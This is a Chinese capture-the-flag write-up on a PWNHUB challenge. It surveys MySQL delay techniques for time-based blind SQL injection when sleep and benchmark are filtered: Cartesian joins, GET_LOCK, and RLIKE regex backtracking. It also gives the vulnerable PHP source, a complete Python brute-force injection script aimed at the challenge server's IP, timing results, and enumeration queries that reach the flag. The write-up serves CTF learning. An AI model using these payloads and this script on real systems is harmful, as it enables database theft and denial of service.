轉自cdxy師傅:https://www.cdxy.me/?p=789
PWNHUB 一道盲注題過濾了常規的sleep和benchmark函數,引發對時間盲注中延時方法的思考。
延時函數
- SLEEP
mysql> select sleep(5); +----------+ | sleep(5) | +----------+ | 0 | +----------+ 1 row in set (5.00 sec)
- BENCHMARK
mysql> select benchmark(10000000,sha(1)); +----------------------------+ | benchmark(10000000,sha(1)) | +----------------------------+ | 0 | +----------------------------+ 1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1)); +----------------------------+ | benchmark(10000000,sha(1)) | +----------------------------+ | 0 | +----------------------------+ 1 row in set (2.79 sec)
- 笛卡爾積 Writeup
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +------------+ | count(*) | +------------+ | 2651020120 | +------------+ 1 row in set (1 min 51.05 sec)
- GET_LOCK Writeup
延時精確可控,利用環境有限,需要開兩個session測試。
SESSION A mysql> select get_lock('test',1); +--------------------+ | get_lock('test',1) | +--------------------+ | 1 | +--------------------+ 1 row in set (0.00 sec) SESSION B mysql> select get_lock('test',5); +--------------------+ | get_lock('test',5) | +--------------------+ | 0 | +--------------------+ 1 row in set (5.00 sec)
- RLIKE
通過rpad
或repeat
構造長字符串,加以計算量大的pattern,通過repeat的參數可以控制延時長短。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); +-------------------------------------------------------------+ | rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') | +-------------------------------------------------------------+ | 0 | +-------------------------------------------------------------+ 1 row in set (5.27 sec)
PWNHUB-全宇宙最簡單的PHP-Writeup
<?php require 'conn.php'; $id = $_GET['id']; if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id'])) { die("you bad bad!"); } $sql = "select * from article where id='".intval($id)."'"; $res = mysql_query($sql); if(!$res){ die("404 not found!"); } $row = mysql_fetch_array($res, MYSQL_ASSOC); mysql_query("update view set view_times=view_times+1 where id = '".$id." '"); ?>
上面代碼明顯可從id
參數注入代碼到MySQL UPDATE語句。
從時間盲注的角度解,題中除過濾掉sleep
和benchmark
兩個延時函數之外,並無其他限制。
思路:尋找新的延時函數
想到日常數據開發中自己的SQL中多次因正則消耗計算資源,又想到某次白帽大會上關於正則Dos的議題,然后開始朝RLIKE
嘗試。
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
以上代碼等同於 sleep(5)
本地測試
mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5 from dual),1,1)='5',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1'; Query OK, 0 rows affected (5.08 sec) Rows matched: 0 Changed: 0 Warnings: 0 mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5),1,1)='1',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1'; Query OK, 0 rows affected (0.00 sec) Rows matched: 0 Changed: 0 Warnings: 0
Docker起了個PHP 5.6+MySQL,代碼copy過去,構建相同環境測試腳本,爆破到正確字符時,測試機會延時10s左右;遇到錯誤字符會在0.1s以內返回,可以明顯區分。
本地測試執行version()
的結果:
N - 0.0232281684875 O - 0.0197539329529 P - 0.028028011322 Q - 0.0212018489838 R - 0.0244557857513 S - 0.0253188610077 T - 0.0281682014465 U - 0.0236928462982 V - 0.0221898555756 W - 0.0275118350983 X - 0.0206508636475 Y - 0.0258479118347 Z - 0.0194098949432 @ - 0.0250370502472 { - 0.0211541652679 } - 0.0245869159698 - - 0.0192731937281 _ - 0.0247149467468 . - 0.0188128948212 Error or Finished. Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]
線上測試
線上就很蛋疼了。首先環境是每5min重啟一次,每次只能在重啟的瞬間(0.5s)打上10條請求,然后服務器就被用笛卡爾積的同學打掛了。
二分法懶得搞了,在腳本里加了一些糾錯機制,線上環境正誤嘗試的時間差降為0.2s左右,但仍可以區分。
# !/usr/bin/env python # -*- coding: utf-8 -*- import requests from requests.exceptions import ReadTimeout, ConnectionError from urllib import quote import time import re payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.' url = 'http://52.80.179.198:8080/article.php?id=' # url = 'http://localhost:8090/article.php?id=' # 替代sleep() # 14s # sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 5s sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 本地測試代碼 def run_local(query): def brute_single_char(target_index): for c in payloads: payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func) confirm_cnt = 0 # print payload for i in range(10000): # 為了宕機重試 if confirm_cnt > 3: # 連續四次正確嘗試,保存結果 print 'FOUND!!! ' + c return c time_start = time.time() try: req = requests.get(url + quote(payload), timeout=20) if 'Warning' in req.content: print req.content if 'helloworld' not in req.content: print c, 'MySQL Down, retry...' # print req.content continue except ReadTimeout: # 時間長:正確嘗試 print c, ' - timeout, retry...' # confirm_cnt += 1 continue except ConnectionError: print c, 'Web Server Down, retry...' continue # print ans.content time_end = time.time() print c, ' - ', time_end - time_start if time_end - time_start < 5: # 時間短:錯誤嘗試 # print 'false:' + c break confirm_cnt += 1 return '[NULL]' # 全部字母未命中 result = '' try: for index in range(1, 100): if len(re.findall(r'\[NULL\]', result)) > 2: print 'Error or Finished. \nCurrent Result: ' + result return result += brute_single_char(index) except KeyboardInterrupt: print result # 線上測試代碼 def run_sort(query): def brute_single_char(target_index): timelist = {} for c in payloads: payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func) for i in range(10000): # 為了宕機重試 time_start = time.time() try: req = requests.get(url + quote(payload), timeout=2) if 'helloworld' not in req.content: continue except ReadTimeout: print c, ' - timeout, retry...' continue except ConnectionError: continue time_end = time.time() print c, ' - ', time_end - time_start timelist[c] = time_end - time_start break if not len(timelist): return '[NULL]' # 全部字母未命中 rec = sorted(timelist.items(), key=lambda item: item[1]) print rec return rec[-1] result = [] try: for index in range(7, 100): print '________INDEX {}_______'.format(index) result.append(brute_single_char(index)) if result[-1] is '[NULL]': print 'Error or Finished. \nCurrent Result: ' print result return except KeyboardInterrupt: print result if __name__ == '__main__': run_sort('(select * from flags)')
以下爆破結果中,3為正確結果,其余為錯誤結果。
1 - 0.0639481544495 2 - 0.0795040130615 3 - 0.3621571064 4 - 0.0846300125122 5 - 0.0894010066986 6 - 0.0945949554443 7 - 0.0842099189758 8 - 0.0861508846283 9 - 0.0922508239746
之后依次執行以下代碼get flag(跑了多少個小時我也不知道。。。)
select count(*) from article -> 3 database() -> post select count(table_name) from information_schema.tables where table_schema='post' -> 3 select length(table_name) from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' —> 5 select table_name from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' -> flags select count(*) from flags -> 1 select * from flag